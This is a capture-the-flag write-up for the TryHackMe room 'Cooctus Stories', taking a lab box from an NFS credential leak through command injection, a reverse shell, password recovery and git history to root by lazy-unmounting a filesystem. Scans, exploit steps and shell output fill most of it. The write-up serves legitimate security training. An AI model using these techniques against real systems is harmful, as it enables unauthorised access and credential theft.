Cooctus Stories TryHackMe Writeup
Cooctus Stories is a medium rated Linux room on Tryhackme by TuxTheXplorer. We mount a NFS share which contained a file with backup credential which was used to login on the webserver running on Port 8080. The webserver was vulnerable to code injection and a reverse shell as user paradox was obtained. Shell as user Szymex was obtained after reversing a logic of a python script. MD5 hash for user tux was obtained after completing few challenges and was cracked to obtained the password for user tux. Password for another user varg was obtained from the older commit of a GIT repo. User varg can run umount as user root which was used to get a root shell on the box.
Nmap Scan
All Port Scan
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ nmap -p- --min-rate 10000 -v -oN nmap/all-ports 10.10.67.80
Nmap scan report for 10.10.67.80
Host is up (0.17s latency).
Not shown: 58771 closed ports, 6756 filtered ports
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
2049/tcp open nfs
8080/tcp open http-proxy
35505/tcp open unknown
46689/tcp open unknown
52461/tcp open unknown
57609/tcp open unknown
Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Apr 16 19:17:11 2021 -- 1 IP address (1 host up) scanned in 58.98 seconds
We have quite a few ports open.
Detail Scan
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ nmap -p 22,111,2049,8080,35505,46689,52461,57609 -sC -sV -oN nmap/detail 10.10.67.80
Nmap scan report for 10.10.67.80
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
| 256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_ 256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35505/tcp mountd
| 100005 1,2,3 36263/udp mountd
| 100005 1,2,3 58063/tcp6 mountd
| 100005 1,2,3 60633/udp6 mountd
| 100021 1,3,4 34234/udp6 nlockmgr
| 100021 1,3,4 45640/udp nlockmgr
| 100021 1,3,4 46689/tcp nlockmgr
| 100021 1,3,4 46751/tcp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
|_http-title: CCHQ
35505/tcp open mountd 1-3 (RPC #100005)
46689/tcp open nlockmgr 1-4 (RPC #100021)
52461/tcp open mountd 1-3 (RPC #100005)
57609/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 16 19:19:45 2021 -- 1 IP address (1 host up) scanned in 32.57 seconds
Enumerating NFS Share on Port 2049
Listing NFS Share
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ showmount -e 10.10.67.80
Export list for 10.10.67.80:
/var/nfs/general *
Mounting the share
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ sudo mount -t nfs 10.10.67.80:/var/nfs/general mnt
Listing the content of the Share
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ ls -la mnt
total 12
drwxr-xr-x 2 nobody nogroup 4096 Nov 22 00:09 .
drwxrwxr-x 4 reddevil reddevil 4096 Apr 16 19:22 ..
-rw-r--r-- 1 root root 31 Nov 22 00:09 credentials.bak
Content of credentials.bak
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ cat mnt/credentials.bak
paradoxial.test
Shi*******79
Trying to write a file
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ touch mnt/test
touch: cannot touch 'mnt/test': Read-only file system
The Share is read only. So, we can not create a new file on the share.
HTTP Service on Port 8080
We get a landing page.
Directory and file bruteforcing with ffuf
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ ffuf -u http://10.10.67.80:8080/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .html,.py,.txt,.php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : http://10.10.67.80:8080/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Extensions : .html .py .txt .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
login [Status: 200, Size: 556, Words: 25, Lines: 18]
cat [Status: 302, Size: 219, Words: 22, Lines: 4]
Visiting /login
With the earlier obtained credentials, we get in.
Visting /cat
Playing with the payload parameter
Hypothesis
if isset($_POST['payload']){
system('cat ' . $_POST['payload'])
}
If there is no sanitization of user input, we can get code execution on the box.
Listening for Ping requests on my local box
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
Making a ping request
And we get a response back.
Since we have code execution on the box, let us try and get a reverse shell.
Getting a reverse shell
And we get a reverse shell as user paradox.
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.67.80 56954
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1003(paradox) gid=1003(paradox) groups=1003(paradox)
Getting a proper TTY
Now lets get a proper shell with auto completion.
$ python3 -c "import pty;pty.spawn('/bin/bash')"
Hit CRTL+z to background the current process and on local box type
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ stty raw -echo
and type fg and hit enter twice and on the reverse shell export the TERM as xterm.
paradox@cchq:~$ export TERM=xterm
Reading User flag
paradox@cchq:~$ cat user.txt
THM{2dccd*****************85ca2}
Privilege Escalation
Content of /etc/crontab
paradox@cchq:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * szymex /home/szymex/SniffingCat.py
SniffinCat.py is being run as user szymex every minute.
Content of /home/szymex/SniffingCat.py
#!/usr/bin/python3
import os
import random
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc
x = random.randint(300,700)
y = random.randint(0,255)
z = random.randint(0,1000)
message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)
with open('/home/szymex/mysupersecretpassword.cat', 'r') as f:
line = f.readline().rstrip("\n")
enc_pw = encode(line)
if enc_pw == "pureelpbxr":
os.system("wall -g paradox " + message)
os.system("wall -g paradox " + coords)
The script takes a value from file /home/szymex/mysupersecretpassword.cat
, pass it to a function which does some crypto magic and if the function returns pureelpbxr, wall
command is executed.
Checking the permissions of /home/szymex/mysupersecretpassword.cat
paradox@cchq:~$ ls -la /home/szymex/mysupersecretpassword.cat
-r-------- 1 szymex szymex 11 Jan 2 14:18 /home/szymex/mysupersecretpassword.cat
We do not have read permission.
Instead of reversing, I wrote a code to bruteforce the password.
Content of exp.py
#!/usr/bin/python3
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc
password = "pureelpbxr"
test = 'qwertyuiopasdfghjklzxcvbnm' # All possible characters
ans = '' # Content of the file will be here
for i in password: # for every character of the password
for j in test:
tmp = encode(j)
if tmp == i:
ans += j
break
print(ans)
Running the script
reddevil@ubuntu:~/Documents/tryhackme/coconutadventures$ python3 exp.py
ch*******ke
We get the content of /home/szymex/mysupersecretpassword.cat
.
Checking if szymex has reused the password
paradox@cchq:/home/szymex$ su szymex
Password:
szymex@cchq:~$ id
uid=1001(szymex) gid=1001(szymex) groups=1001(szymex),1004(testers)
And we get a shell as syzmex and he is a member of group testers.
Reading flag
szymex@cchq:~$ cat user.txt
THM{c89f9****************2992ef}
Listing all files that are owned by group testers
szymex@cchq:~$ find / -type f -group testers -ls 2>/dev/null
791869 4 -rwxrwx--- 1 tux testers 178 Feb 20 21:02 /home/tux/tuxling_3/note
655541 4 -rw-rw---- 1 tux testers 610 Jan 2 20:00 /home/tux/tuxling_1/nootcode.c
657698 4 -rw-rw---- 1 tux testers 326 Feb 20 16:28 /home/tux/tuxling_1/note
655450 4 -rw-rw-r-- 1 tux testers 3670 Feb 20 20:01 /media/tuxling_2/private.key
655545 4 -rw-rw---- 1 tux testers 280 Jan 2 20:20 /media/tuxling_2/note
655463 4 -rw-rw-r-- 1 tux testers 740 Feb 20 20:00 /media/tuxling_2/fragment.asc
Few files are on the home directory of user tux and some files are inside /media
directory.
Contents on /home/tux
szymex@cchq:/home/tux$ ls -l
total 12
-rw-rw-r-- 1 tux tux 630 Jan 2 19:05 note_to_every_cooctus
drwxrwx--- 2 tux testers 4096 Feb 20 16:28 tuxling_1
-rw------- 1 tux tux 38 Feb 20 21:05 user.txt
Content of note_to_every_cooctus
szymex@cchq:/home/tux$ cat note_to_every_cooctus
Hello fellow Cooctus Clan members
I'm proposing my idea to dedicate a portion of the cooctus fund for the construction of a penguin army.
The 1st Tuxling Infantry will provide young and brave penguins with opportunities to
explore the world while making sure our control over every continent spreads accordingly.
Potential candidates will be chosen from a select few who successfully complete all 3 Tuxling Trials.
Work on the challenges is already underway thanks to the trio of my top-most explorers.
Required budget: 2,348,123 Doge coins and 47 pennies.
Hope this message finds all of you well and spiky.
- TuxTheXplorer
It talks about a challenge and we have to complete all 3 tuxling trials.
Listing the contents of tuxling_1 (first trial)
szymex@cchq:/home/tux$ ls -la tuxling_1
total 16
drwxrwx--- 2 tux testers 4096 Feb 20 16:28 .
drwxr-xr-x 9 tux tux 4096 Feb 20 22:02 ..
-rw-rw---- 1 tux testers 610 Jan 2 20:00 nootcode.c
-rw-rw---- 1 tux testers 326 Feb 20 16:28 note
Content of note
szymex@cchq:/home/tux/tuxling_1$ cat note
Noot noot! You found me.
I'm Mr. Skipper and this is my challenge for you.
General Tux has bestowed the first fragment of his secret key to me.
If you crack my NootCode you get a point on the Tuxling leaderboards and you'll find my key fragment.
Good luck and keep on nooting!
PS: You can compile the source code with gcc
Content of nootcode.c
#include <stdio.h>
#define noot int
#define Noot main
#define nOot return
#define noOt (
#define nooT )
#define NOOOT "f96"
#define NooT ;
#define Nooot nuut
#define NOot {
#define nooot key
#define NoOt }
#define NOOt void
#define NOOT "NOOT!\n"
#define nooOT "050a"
#define noOT printf
#define nOOT 0
#define nOoOoT "What does the penguin say?\n"
#define nout "d61"
noot Noot noOt nooT NOot
noOT noOt nOoOoT nooT NooT
Nooot noOt nooT NooT
nOot nOOT NooT
NoOt
NOOt nooot noOt nooT NOot
noOT noOt NOOOT nooOT nout nooT NooT
NoOt
NOOt Nooot noOt nooT NOot
noOT noOt NOOT nooT NooT
NoOt
We can just use find and replace to see what the code means.
Writing a ugly bash one liner
szymex@cchq:/tmp$ for line in `cat nootcode.c | grep define | awk '{print "s/"$2"/"$3"/g"}' | tr '\n' ';' | sed 's/;$//'`; do echo sed -e \'$line\' nootcode.c | bash; done
.......[snip]...........
int main ( ) {
printf ( "What ) ;
nuut ( ) ;
return 0 ;
}
void key ( ) {
printf ( "f96" "050a" "d61" ) ;
}
void nuut ( ) {
printf ( "NOOT!
" ) ;
}
We do not get correct program but it gets our job done and we can see that there is a function key(), which gives us the first portion of the key.
key=f96****d61
Checking files from the find command for second trial
We had 3 files for the second challenge.
szymex@cchq:/home/tux$ cat /media/tuxling_2/note
Noot noot! You found me.
I'm Rico and this is my challenge for you.
General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).
You can have the key fragment if you can decrypt it.
Good luck and keep on nooting!
szymex@cchq:/home/tux$ cat /media/tuxling_2/fragment.asc
-----BEGIN PGP MESSAGE-----
hQGMA5fUjrF1Eab6AQv/Vcs2Y6xyn5aXZfSCjCwKT1wxBgOcx2MBeat0wtAsYzkF
J6nWV3nBUyA2tXUBAHsr5iZnsuXubsG6d5th7z5UO8+1MS424I3Rgy/969qyfshj
iouZtXyaerR1/Sok3b1wk3iyPCn2cXc2HPP57bDqm15LEwO28830wun8twT6jX/+
Nr4tDW767gfADB/nJOFkAr+4rqHGY8J/bFnLHTZV2oVIYbFy0VarzcKBFQVQLx0G
OqF1A1nPHNCCENcHEzGbzogQoQbQK+8jefH8Epfs25zpsTTg/+z5XOnJQXD5UXg2
x9c0ABS9T8K3V6ZhyXPAxfSFpxUyVJBKhnugOd/QP4Kqzu30H1mWNxvE1jJQpcxs
uBJIzEtHn/efXQdsLM8swQ6RrnTAKRpK7Ew307itPSvaejCw87FCTaMzwXj2RNkD
8n6P/kZbTHrVdBS7KxGDJ/SsTpQgz8QpQyQIK/oDxNEP4ZsgosBJ4QnjVW8vNLZF
P72PMvolHYd461j62+uv0mQBTQhH5STUWq6OtHlHgbrnSJvGNll3WZ5BfCiE2O1C
8+UXEfCw05QMZgE2dePneZdWISNUkGTTVji9atq3l4b0vbHihNdwTTMfla8+arPs
eA0RkdEXuoYWvOpocvlU5XuTcCdy
=GDIs
-----END PGP MESSAGE-----
szymex@cchq:/home/tux$ file /media/tuxling_2/private.key
/media/tuxling_2/private.key: PGP\011Secret Key - 3072b created on Sat Feb 20 19:58:30 2021 - RSA (Encrypt or Sign) e=65537 Plaintext or unencrypted data
Importing private key
szymex@cchq:/home/tux$ file /media/tuxling_2/private.key
/media/tuxling_2/private.key: PGP\011Secret Key - 3072b created on Sat Feb 20 19:58:30 2021 - RSA (Encrypt or Sign) e=65537 Plaintext or unencrypted data
szymex@cchq:/home/tux$ gpg --import /media/tuxling_2/private.key
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
Decrypting the content
szymex@cchq:/home/tux$ gpg --decrypt /media/tuxling_2/fragment.asc
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
"TuxPingu"
The second key fragment is: 6e*****8d
Combining 1st and 2nd fragment
key=f96****d616e*****8d
Checking the files from find command for 3rd trial
szymex@cchq:/home/tux$ cat /home/tux/tuxling_3/note
Hi! Kowalski here.
I was practicing my act of disappearance so good job finding me.
Here take this,
The last fragment is: 637*******552
Combine them all and visit the station.
Combining all 3 fragments
key=f96****d616e*****8d637*******552
It looks like MD5 hash. I checked online on https://hashes.com/en/decrypt/hash and found the password for user tux.
Shell as user tux
szymex@cchq:/home/tux$ su tux
Password:
tux@cchq:~$ id
uid=1000(tux) gid=1000(tux) groups=1000(tux),1004(testers),1005(os_tester)
User tux is a member of the group os_tester.
Reading another flag
tux@cchq:~$ cat user.txt
THM{592d*************dbd6f1}
Finding files own by group os_tester
tux@cchq:~$ find / -type d -maxdepth 3 -group os_tester -ls 2>/dev/null
656731 4 drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 /home/varg/cooctOS_src
656731 4 drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 /opt/CooctFS
656743 4 drwxrwx--- 3 varg os_tester 4096 Feb 20 14:44 /opt/CooctFS/lib
791668 4 drwxrwx--- 2 varg os_tester 4096 Feb 20 15:46 /opt/CooctFS/bin
655425 4 drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 /opt/CooctFS/run
656752 4 drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 /opt/CooctFS/var
655467 4 drwxrwxr-x 8 varg os_tester 4096 Feb 20 15:47 /opt/CooctFS/.git
791787 4 drwxrwx--- 2 varg os_tester 4096 Feb 20 15:41 /opt/CooctFS/games
656017 4 drwxrwx--- 2 varg os_tester 4096 Feb 20 15:10 /opt/CooctFS/etc
656756 4 drwxrwx--- 2 varg os_tester 4096 Feb 20 09:11 /opt/CooctFS/tmp
656773 4 drwxrwx--- 4 varg os_tester 4096 Feb 20 15:22 /opt/CooctFS/boot
We get two directories. ie /home/varg/cooctOS_src and /opt/CooctFS. So let’s check them out.
Contents of /opt/CooctFS
tux@cchq:/opt/CooctFS$ ls -la
total 44
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 .
drwxr-xr-x 3 root root 4096 Feb 20 14:30 ..
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:46 bin
drwxrwx--- 4 varg os_tester 4096 Feb 20 15:22 boot
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:10 etc
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:41 games
drwxrwxr-x 8 varg os_tester 4096 Feb 20 15:47 .git
drwxrwx--- 3 varg os_tester 4096 Feb 20 14:44 lib
drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 run
drwxrwx--- 2 varg os_tester 4096 Feb 20 09:11 tmp
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 var
We can see a .git directory.
Checking the logs
tux@cchq:/opt/CooctFS$ git log
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -> master)
Author: Vargles <varg@cchq.noot>
Date: Sat Feb 20 15:47:21 2021 +0000
Removed CooctOS login script for now
commit 6919df5c171460507f69769bc20e19bd0838b74d
Author: Vargles <varg@cchq.noot>
Date: Sat Feb 20 15:46:28 2021 +0000
Created git repo for CooctOS
Checking the difference between two commits
tux@cchq:/opt/CooctFS$git diff 8b8daa41120535c569d0b99c6859a1699227d086 6919df5c171460507f69769bc20e19bd0838b74d
..................[snip]........................
+print("CooctOS 13.3.7 LTS cookie tty1")
+uname = input("\ncookie login: ")
+pw = input("Password: ")
+
+for i in range(0,2):
+ if pw != "slo********ork":
+ pw = input("Password: ")
+ else:
+ if uname == "varg":
+ os.setuid(1002)
+ os.setgid(1002)
+ pty.spawn("/bin/rbash")
+ break
.................[snip]...........................
And we can see the password for user varg.
Shell as user varg
tux@cchq:/opt/CooctFS$ su varg
Password:
varg@cchq:/opt/CooctFS$ id
uid=1002(varg) gid=1002(varg) groups=1002(varg),1005(os_tester)
And we get a shell as user varg.
Reading another flag
varg@cchq:~$ cat user.txt
THM{3a330***************86e6}
Checking sudo -l
varg@cchq:~$ sudo -l
Matching Defaults entries for varg on cchq:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User varg may run the following commands on cchq:
(root) NOPASSWD: /bin/umount
User varg can run /bin/umount on the box. So, lets check if we can use this to escalate our privileges to root on gtfobins. It looks like this can not be used directly for the privilege escalation.
Listing the mounts
varg@cchq:~$ df -ha | grep opt
/dev/mapper/ubuntu--vg-ubuntu--lv 19G 6.5G 12G 37% /opt/CooctFS
We can see that the /dev/mapper/ubuntu–vg-ubuntu–lv is mounted on /opt/CooctFS. Since we can run umount as root, I tried to unmount /opt/CooctFS.
Unmounting /opt/CooctFS
varg@cchq:~$ sudo /bin/umount /opt/CooctFS
umount: /opt/CooctFS: target is busy.
varg@cchq:~$ sudo /bin/umount -f /opt/CooctFS
umount: /opt/CooctFS: target is busy.
varg@cchq:~$ sudo /bin/umount -l /opt/CooctFS
Normal unmounting and force unmounting did not work, so I used lazy unmounting.
Content of /opt
varg@cchq:/opt$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Feb 20 14:30 .
drwxr-xr-x 24 root root 4096 Feb 20 21:04 ..
drwxr-xr-x 3 root root 4096 Feb 20 09:09 CooctFS
Files inside CooctFS
varg@cchq:/opt$ cd CooctFS/
varg@cchq:/opt/CooctFS$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .
drwxr-xr-x 3 root root 4096 Feb 20 14:30 ..
drwxr-xr-x 5 root root 4096 Feb 20 09:16 root
We get a new folder called root.
Content of root
varg@cchq:/opt/CooctFS/root$ ls -la
total 28
drwxr-xr-x 5 root root 4096 Feb 20 09:16 .
drwxr-xr-x 3 root root 4096 Feb 20 09:09 ..
lrwxrwxrwx 1 root root 9 Feb 20 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Feb 20 09:09 .bashrc
drwx------ 3 root root 4096 Feb 20 09:09 .cache
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .local
-rw-r--r-- 1 root root 43 Feb 20 09:16 root.txt
drwxr-xr-x 2 root root 4096 Feb 20 09:41 .ssh
Reading root.txt
varg@cchq:/opt/CooctFS/root$ cat root.txt
hmmm...
No flag here. You aren't root yet.
Contents of .ssh
varg@cchq:/opt/CooctFS/root/.ssh$ ls
id_rsa id_rsa.pub
We have a private key. Let us use SSH to login on the box as root using the key.
Shell as root
varg@cchq:/opt/CooctFS/root/.ssh$ ssh -i id_rsa root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:7/RM1nMYqyZHC8ICXMcPUC3vIVlZuQab39ZsXs9Q+NI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Apr 16 16:32:30 UTC 2021
System load: 0.08 Processes: 129
Usage of /: 35.4% of 18.57GB Users logged in: 1
Memory usage: 68% IP address for eth0: 10.10.67.80
Swap usage: 0%
0 packages can be updated.
0 of these updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Feb 20 22:22:12 2021 from 172.16.228.162
root@cchq:~# id
uid=0(root) gid=0(root) groups=0(root)
Reading root flag
root@cchq:~# cat root.txt
THM{H4C***********CL4N}